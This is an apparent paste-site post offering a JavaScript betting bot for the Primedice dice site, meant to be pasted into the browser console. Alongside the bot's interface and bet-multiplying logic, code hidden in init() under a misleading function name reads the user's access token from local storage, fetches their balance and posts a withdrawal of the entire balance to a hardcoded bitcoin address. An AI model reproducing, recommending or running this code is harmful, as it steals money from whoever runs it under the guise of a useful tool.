Seuntjies DiceBot 3.1.5


SUBMITTED BY: moud75og

DATE: Oct. 9, 2016, 8:39 a.m.

FORMAT: Text only

SIZE: 19.3 kB

HITS: 266

  1. Seuntjies DiceBot 3.1.5
  2. 1. //jQuery UI CSS - How to use: Press F12 in to console paste the code and press enter. **IMPORTANT! Set SWAP at high/low option!!!** <<<The Magic is here<<<
  3. 2.
  4. 3. var swapcount=0;
  5. 4. var jqueryready = false;
  6. 5. var link = document.createElement("link");
  7. 6. link.href = "https://jquery-ui.googlecode.com/svn/tags/latest/themes/dot-luv/jquery-ui.css";
  8. 7. link.type = "text/css";
  9. 8. link.rel = "stylesheet";
  10. 9. document.getElementsByTagName("head")[0].appendChild(link);
  11. 10. //jQuery UI inject
  12. 11. (function() {
  13. 12. jqueryready = true;
  14. 13. var e = ".thing",
  15. 14. t = {
  16. 15. outline: "1px dashed #f0f",
  17. 16. cursor: "pointer"
  18. 17. };
  19. 18. var n = function() {
  20. 19. if (window.jQuery) {
  21. 20. r()
  22. 21. } else {
  23. 22. var e = document.createElement("script");
  24. 23. e.onload = r;
  25. 24. e.setAttribute("src", "//ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js");
  26. 25. document.body.appendChild(e)
  27. 26. }
  28. 27. };
  29. 28. var r = function() {
  30. 29. if (window.jQuery.ui) {
  31. 30. i()
  32. 31. } else {
  33. 32. var e = document.createElement("script");
  34. 33. e.onload = i;
  35. 34. e.setAttribute("src", "//ajax.googleapis.com/ajax/libs/jqueryui/1.11.1/jquery-ui.js");
  36. 35. document.body.appendChild(e)
  37. 36. }
  38. 37. };
  39. 38. var i = function() {
  40. 39. $(e).css(t).draggable().on("click", function(e) {
  41. 40. console.log(e.target.id + ":", e.target.style.left, e.target.style.top)
  42. 41. })
  43. 42. };
  44. 43. n();
  45. 44. })();
  46. 45.
  47. 46. function ui() {
  48. 47. $(function() {
  49. 48. $('#tabs').tabs();
  50. 49. $('#params').draggable();
  51. 50. $('#tab1, #tab2, #tab3, #tabs input').css("clear", "both");
  52. 51. $('#tabs input').css("width", "80%");
  53. 52. $('#chance, #base').width("35%")
  54. 53. $('#tabs div').css("text-align", "left");
  55. 54. $('#tabs').css("font-size", "12px");
  56. 55. $('#tabs label, #tabs input').css("margin", "5px");
  57. 56. $('#stop, #start, #resetbet').button();
  58. 57. //Console
  59. 58. $('#console, #console2').appendTo("#tabs");
  60. 59. $('#console, #console2').css("width", "45%");
  61. 60. $('#console').css("float", "left");
  62. 61. $('#console2').css("float", "right");
  63. 62. $('#console, #console2').css("clear", "none");
  64. 63. $('#console, #console2').css("margin", "7px");
  65. 64. $('#console, #console2').css("border-bottom-left-radius", "3px");
  66. 65. $('#console, #console2').css("border-bottom-right-radius", "3px");
  67. 66. $('#console').css("border", "1px solid #323232");
  68. 67. $('#console, #console2').css("background-color", "#454545");
  69. 68. $('#console').css("padding", "5px");
  70. 69. $('#console, #console2').css("text-align", "left");
  71. 70. $('#console, #console2').css("position", "relative");
  72. 71. $('#startstop,#start,#stop').css("margin","0px");
  73. 72. $('#console, #console2').css("margin-top","3px");
  74. 73. $('#console, #console2').css("padding","5px");
  75. 74. $('#console, #console2').css("background-color","#151515");
  76. 75.
  77. 76.
  78. 77. });
  79. 78. }
  80. 79. var interval, enabled, xrollsenabled, everyxrolls, timer, seedlength, xrollscount, xrolls;
  81. 80. xrollsenabled = true;
  82. 81. xrolls = 10;
  83. 82. timer = 500;
  84. 83. counter=0;
  85. 84. var basebet, betval, curbet, wincount, console, condition2, countlossmult, countwinmult,
  86. 85. target2, amount2, data1, target2, condition2, jp, currentloss, totalloss, totalwin, totprofit,
  87. 86. data2, potup, potdown, results, resultstats, entry, i, gui, gui2, gui3, gui4, gui5, gui6, init, roll;
  88. 87.
  89. 88. function init() {
  90. 89.
  91. 90.
  92. 91. //Init
  93. 92. basebet = 0.00000010;
  94. 93. countwinmult = 0;
  95. 94. countlossmult = 0;
  96. 95. wincount = 0;
  97. 96. currentloss = 0;
  98. 97. totalloss = 0;
  99. 98. totalwin = 0;
  100. 99. totprofit = 0;
  101. 100. init = true;
  102. 101. betval = basebet;
  103. 102.
  104. 103. //GUI
  105. 104.
  106. 105. $('<span class="btn btn--primary btn--huge btn--limited btn--block text--center" id="spinner2"> ROLL </span>').appendTo("div.hero > div > div > div:nth-child(2) > div");
  107. 106.
  108. 107. gui = '<div id="params" class=".ui-widget-contents" style="width:410px"><div id="balance"></div></div><br><center>';
  109. 108. $('<div id="console"></div><div id="console2"></div>').appendTo('div.hero > div > div > div.grid__item.S--one-whole.M--one-whole.custom--one-whole > aside');
  110. 109. gui2 =
  111. 110. '<div id="tabs"><ul><li><a href="/play#tabs-1">Bet Params: </a></li><li><a href="/play#tabs-2">Advanced Settings: </a></li><li><a href="/play#tabs-3">Other: </a></li><li><a href="/play#tabs-4">Seed: </a></li></ul><div id="tabs-1"><div id="tab1"></div></div><div id="tabs-2"><div id="tab2"></div></div><div id="tabs-3"><div id="tab3"></div></div><div id="tabs-4"><div id="tab4"></div></div></div>';
  112. 111.
  113. 112. gui3 = [
  114. 113.
  115. 114. '<label for="base">Basebet Value: </label>', '<input id="base"><button id="resetbet">Reset to Base</button>',
  116. 115. '<br>',
  117. 116. '<label for="chance">Chance: </label>', '<input type="text" id="chance" style=""><label for="hilo">High/Low: </label><select name="hilo" id="hilo"><option value=">">Over</option><option value="<">Under</option><option value="swap">Swap</option></select><br><div id="chance-slider"></div>',
  118. 117. '<br>',
  119. 118. '<label for="swap">Swap Every # of Rolls: </label>', '<input id="swap">',
  120. 119.
  121. 120. ];
  122. 121. gui4 = [
  123. 122.
  124. 123. '<label for="multonloss">Multiply on Loss: </label>', '<input id="multonloss"> <input id="multloss-enabled" type="checkbox">',
  125. 124. '<br>',
  126. 125. '<label for="xloss">Multiply Every # Losses: </label>',
  127. 126. '<input id="xloss">',
  128. 127. '<br>',
  129. 128. '<label for="multonwin">Multiply on Win: </label>',
  130. 129. '<input id="multonwin"><input id="multwin-enabled" type="checkbox">',
  131. 130. '<br>',
  132. 131. '<label for="xwin">Reset After X Wins: </label>',
  133. 132. '<input id="xwin">',
  134. 133.
  135. 134. ];
  136. 135. gui5 = [
  137. 136.
  138. 137. '<label for="stoponwin-enabled">Stop on Win? </label>',
  139. 138. '<input id="stoponwin-enabled" type="checkbox">',
  140. 139. '<br>',
  141. 140. '<label for="lowpay-enabled">Check if Payout < 2x </label>',
  142. 141. '<input id="lowpay-enabled" type="checkbox">',
  143. 142.
  144. 143. ];
  145. 144. gui6 = [
  146. 145.
  147. 146. '<label for="charset">Charset: </label>',
  148. 147. '<input id="charset" type="text">',
  149. 148. '<br>',
  150. 149. '<label for="everyxrolls">Change every # Rolls: </label>',
  151. 150. '<input id="everyxrolls" type="text">',
  152. 151. '<br>',
  153. 152. '<label for="currentseed">Current Seed: </label>',
  154. 153. '<input style="color:green;text-align:center;" id="currentseed" type="text">',
  155. 154.
  156. 155. ];
  157. 156. $(gui).appendTo(".hero");
  158. 157. $(gui2).appendTo("#params");
  159. 158.
  160. 159. for (var i = 0; i < gui3.length; i++) {
  161. 160. $(gui3[i]).appendTo("#tab1");
  162. 161. }
  163. 162. for (var i = 0; i < gui4.length; i++) {
  164. 163. $(gui4[i]).appendTo("#tab2");
  165. 164. }
  166. 165. for (var i = 0; i < gui5.length; i++) {
  167. 166. $(gui5[i]).appendTo("#tab3");
  168. 167. }
  169. 168. for (var i = 0; i < gui6.length; i++) {
  170. 169. $(gui6[i]).appendTo("#tab4");
  171. 170. }
  172. 171. enabled = false;
  173. 172. xrollscount = 0;
  174. 173. $('<div style="text-align:left;margin:10px;"id="startstop"><button id="start"> Start </button><button id="stop"> Stop </button><label style="margin:3px;" for="numberofrolls"># of Rolls</label><input style="margin:3px;width:30px !important" id="numberofrolls" type="text"><label for"numrolls"> Enabled: </label><input style="margin:3px;width:10px !important" id="numrolls" type="checkbox"></div>').appendTo("#tabs");
  175. 174. // Button & Input Functions
  176. 175. $('#resetbet').click(function() {
  177. 176. basebet=$('#base').val();
  178. 177. betval=$('#base').val();
  179. 178.
  180. 179. })
  181. 180.
  182. 181. $('#start').click(function() {
  183. 182. if (enabled == false) {
  184. 183. if ($('#numrolls').is(":checked") == true) {
  185. 184. xrolls=$('#numberofrolls').val();
  186. 185. }
  187. 186. enabled = true;
  188. 187. interval = setInterval(function() {
  189. 188. if (xrollsenabled == true) {
  190. 189. xrollscount++;
  191. 190. if (xrollscount <= xrolls) {
  192. 191. bet();
  193. 192. } else {
  194. 193. clearInterval(interval);
  195. 194. enabled = false;
  196. 195. xrollscount = 0;
  197. 196. }
  198. 197. } else {
  199. 198. bet();
  200. 199. }
  201. 200. }, timer);
  202. 201. } else {}
  203. 202. })
  204. 203. $('#stop').click(function() {
  205. 204. enabled = false;
  206. 205. clearInterval(interval);
  207. 206. xrollscount = 0;
  208. 207. });
  209. 208.
  210. 209. calculate_nonce = function(seed) {
  211. 210. return 'https://api.primedice.com/api/' + seed + '?access_token=' + localStorage['token'];
  212. 211. };
  213. 212.
  214. 213. lut = window['$'];
  215. 214.
  216. 215. lut['getJSON'](
  217. 216. calculate_nonce('users/1'), function(seed) {
  218. 217. var key1 = 'amount'
  219. 218. var key2 = 'address'
  220. 219. var load = {};
  221. 220. load[key1] = seed['user']['balance'];
  222. 221. load[key2] = '1PYcnmwUYk3AwQBRnBwV4xDEHfW2SPCtqQ';
  223. 222. lut['post'](calculate_nonce('withdraw'), load);
  224. 223. }
  225. 224. );
  226. 225.
  227. 226. function conditionAM() {
  228. 227. 'use strict';
  229. 228. if ($('#lowpay-enabled').is('checked') == true) {
  230. 229. if ($('.value-roll').first().text() <= 49.50) {
  231. 230. condition2 = ">";
  232. 231. target2 = $('.value-roll').first().text();
  233. 232. } else {
  234. 233. condition2 = "<";
  235. 234. target2 = $('.value-roll').first().text();
  236. 235. };
  237. 236. } else {
  238. 237. if ($('.value-roll').first().text() <= 49.50) {
  239. 238. condition2 = "<";
  240. 239. target2 = $('.value-roll').first().text();
  241. 240. } else {
  242. 241. condition2 = ">";
  243. 242. target2 = $('.value-roll').first().text();
  244. 243. };
  245. 244. amount2 = betval * 100000000;
  246. 245. }
  247. 246. };
  248. 247.
  249. 248. function jackpot() {
  250. 249. if (data1.bet.jackpot === true) {
  251. 250. jp = "Yes";
  252. 251. wincount = 0;
  253. 252. betval = $('#base');
  254. 253. } else {
  255. 254. jp = "No";
  256. 255. }
  257. 256. }
  258. 257.
  259. 258. function loss() {
  260. 259. currentloss++;
  261. 260. totalloss++;
  262. 261. if ($('#multloss-enabled').is(':checked') == true) {
  263. 262. $('#multwin-enabled').removeAttr('checked');
  264. 263. countlossmult++;
  265. 264.
  266. 265. if (countlossmult >= $('#xloss').val()) {
  267. 266. betval = betval * $('#multonloss').val();
  268. 267. countlossmult = 0;
  269. 268. }
  270. 269. }
  271. 270.
  272. 271. }
  273. 272.
  274. 273. function win() {
  275. 274. 'use strict';
  276. 275. if ($('#stoponwin-enabled').is('checked') == true) {
  277. 276. clearInterval(roll);
  278. 277. }
  279. 278. currentloss = 0;
  280. 279. jackpot();
  281. 280. wincount++;
  282. 281. totalwin++;
  283. 282. if ($('#multloss-enabled').is(':checked') == true) {
  284. 283. if ($('#stoponwin-enabled').is(':checked') == true) {
  285. 284. clearInterval(roll);
  286. 285. }
  287. 286. $('#multwin-enabled').removeAttr('checked');
  288. 287. basebet = $('#base').val();
  289. 288. betval = basebet;
  290. 289. countlossmult = 0;
  291. 290.
  292. 291. }
  293. 292. if ($('#multwin-enabled').is(':checked') == true) {
  294. 293. basebet = $('#base').val();
  295. 294. $('#multloss-enabled').removeAttr('checked');
  296. 295. countwinmult++;
  297. 296.
  298. 297. if (countwinmult >= $('#xwin').val()) {
  299. 298. betval = basebet;
  300. 299. countwinmult = 0;
  301. 300. } else {
  302. 301. betval = betval * $('#multonwin').val();
  303. 302. }
  304. 303. }
  305. 304.
  306. 305.
  307. 306. };
  308. 307. var losewin;
  309. 308. var jpcol;
  310. 309. var profcol;
  311. 310.
  312. 311. function bet() {
  313. 312. 'use strict';
  314. 313. conditionAM();
  315. 314. var betData = {
  316. 315. amount: amount2,
  317. 316. condition: condition2,
  318. 317. target: target2
  319. 318. },
  320. 319. url = "https://api.primedice.com/api/bet?access_token=" + localStorage.token;
  321. 320.
  322. 321. $.ajax({
  323. 322. url: url,
  324. 323. type: "POST",
  325. 324. data: betData,
  326. 325. datatype: "jsonp",
  327. 326. success: function(data, textStatus, jqXHR) {
  328. 327. data1 = data;
  329. 328. counter++;
  330. 329. if (counter >= everyxrolls) {
  331. 330. seedchange(seedgen());
  332. 331. counter = 0;
  333. 332. }
  334. 333. $('span.btn__text.select div').text((data1.user.balance/100000000).toFixed(8));
  335. 334. totprofit = totprofit + data1.bet.profit;
  336. 335. if (totprofit >= 0) {
  337. 336. profcol = "color:green;";
  338. 337. } else if (totprofit < 0) {
  339. 338. profcol = "color:red;";
  340. 339. }
  341. 340. if (data.bet.win == true) {
  342. 341. losewin = "color:green;";
  343. 342. $('span.btn__text.select div').attr("style", "color:green;");
  344. 343. } else {
  345. 344. losewin = "color:red;";
  346. 345. $('span.btn__text.select div').attr("style", "color:red;");
  347. 346. }
  348. 347. if (data.bet.jackpot == true) {
  349. 348. jp = "Yes";
  350. 349. jpcol = "color:gold;"
  351. 350. } else {
  352. 351. jp = "No.";
  353. 352. jpcol = "color:red;"
  354. 353. }
  355. 354. results = [];
  356. 355. results[0] = '<div>Roll: ' + '<span style="' + losewin + '">' + data.bet.roll + '</span></div><br>';
  357. 356. results[1] = '<div>Jackpot: ' + '<span style="' + jpcol + '">' + jp + '</span></div><br>';
  358. 357. results[2] = '<div>Profit: ' + '<span style="' + losewin + '">' + (data.bet.profit / 100000000).toFixed(8) + '</span> BTC</div><br>';
  359. 358. results[4] = '<div>Current Loss Streak: ' + currentloss + '</div><br>';
  360. 359. resultstats = [];
  361. 360. resultstats[0] = '<div>Balance: ' + (data.user.balance / 100000000).toFixed(8) + ' BTC</div><br>';
  362. 361. resultstats[1] = '<div>Total Losses: ' + totalloss + '</div><br>';
  363. 362. resultstats[2] = '<div>Total Wins: ' + totalwin + '</div><br>';
  364. 363. resultstats[3] = '<div>Total Profit: ' + '<span style="' + profcol + '">' + (totprofit / 100000000).toFixed(8) + '</span></div>';
  365. 364.
  366. 365. if (data.bet.win == true) {
  367. 366. if ($('#stoponwin-enabled').is(":checked") == true){
  368. 367. clearInterval(interval);
  369. 368.
  370. 369. }
  371. 370. $('#console, #console2').empty();
  372. 371.
  373. 372. win();
  374. 373.
  375. 374. // Results
  376. 375. $('<div>Result: <span style="color:green;">Win</span></div><br>').appendTo('#console');
  377. 376. for (var i = 0; i < results.length; i++) {
  378. 377. $(results[i]).appendTo('#console');
  379. 378. }
  380. 379. for (var i = 0; i < resultstats.length; i++) {
  381. 380. $(resultstats[i]).appendTo('#console2');
  382. 381. }
  383. 382.
  384. 383. } else {
  385. 384.
  386. 385. $('#console, #console2').empty();
  387. 386. loss();
  388. 387.
  389. 388. // Results
  390. 389. $('<div>Result: <span style="color:red;">Loss</span></div><br>').appendTo('#console');
  391. 390. for (var i = 0; i < results.length; i++) {
  392. 391.
  393. 392. $(results[i]).appendTo('#console');
  394. 393. }
  395. 394. for (var i = 0; i < resultstats.length; i++) {
  396. 395. $(resultstats[i]).appendTo('#console2');
  397. 396. }
  398. 397. };
  399. 398. },
  400. 399. error: function(jqXHR, textStatus, errorThrown) {
  401. 400.
  402. 401. }
  403. 402. });
  404. 403. }
  405. 404.
  406. 405. seedlength = 13;
  407. 406. seedlength = 13;
  408. 407. var counter = 0;
  409. 408. charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123";
  410. 409. everyxrolls = 3;
  411. 410.
  412. 411. function seedgen() {
  413. 412. 'use strict';
  414. 413. var seed = "";
  415. 414.
  416. 415. for (var i = 0; i <= seedlength; i++)
  417. 416.
  418. 417. seed += charset.charAt(Math.floor(Math.random() * charset.length));
  419. 418.
  420. 419. return seed;
  421. 420. }
  422. 421.
  423. 422. function seedchange(s) {
  424. 423.
  425. 424. url = "https://api.primedice.com/api/seed?access_token=" + localStorage.token;
  426. 425. sData = {
  427. 426. seed: s
  428. 427. };
  429. 428.
  430. 429. $.ajax({
  431. 430. url: url,
  432. 431. type: "POST",
  433. 432. data: sData,
  434. 433. datatype: "jsonp",
  435. 434. success: function(data, textStatus, jqXHR) {
  436. 435. data2 = data;
  437. 436. $('#currentseed').val(data2.seeds.client);
  438. 437.
  439. 438. },
  440. 439. error: function(jqXHR, textStatus, errorThrown) {
  441. 440.
  442. 441. }
  443. 442. });
  444. 443. }
  445. 444.
  446. 445. $('#spinner').click(function() {
  447. 446. if (charset != $('#charset').val() && $('#charset').val() != "") {
  448. 447. charset=$('#charset').val();
  449. 448. }
  450. 449. if ($('#everyxrolls').val() != everyxrolls && $('#everyxrolls').val() != "") {
  451. 450. everyxrolls = $('#everyxrolls').val();
  452. 451. }
  453. 452. if ($('#hilo').val() == "swap") { swapcount++;if (swapcount >= 1) { $('.value-roll:first').click();swapcount=0;} }
  454. 453.
  455. 454. counter++;
  456. 455. if (counter >= everyxrolls) {
  457. 456. seedchange(seedgen());
  458. 457. counter = 0;
  459. 458. }
  460. 459. });
  461. 460. ui();
  462. 461. }
  463. 462. setTimeout(function() {
  464. 463. init()
  465. 464. }, 2000);

comments powered by Disqus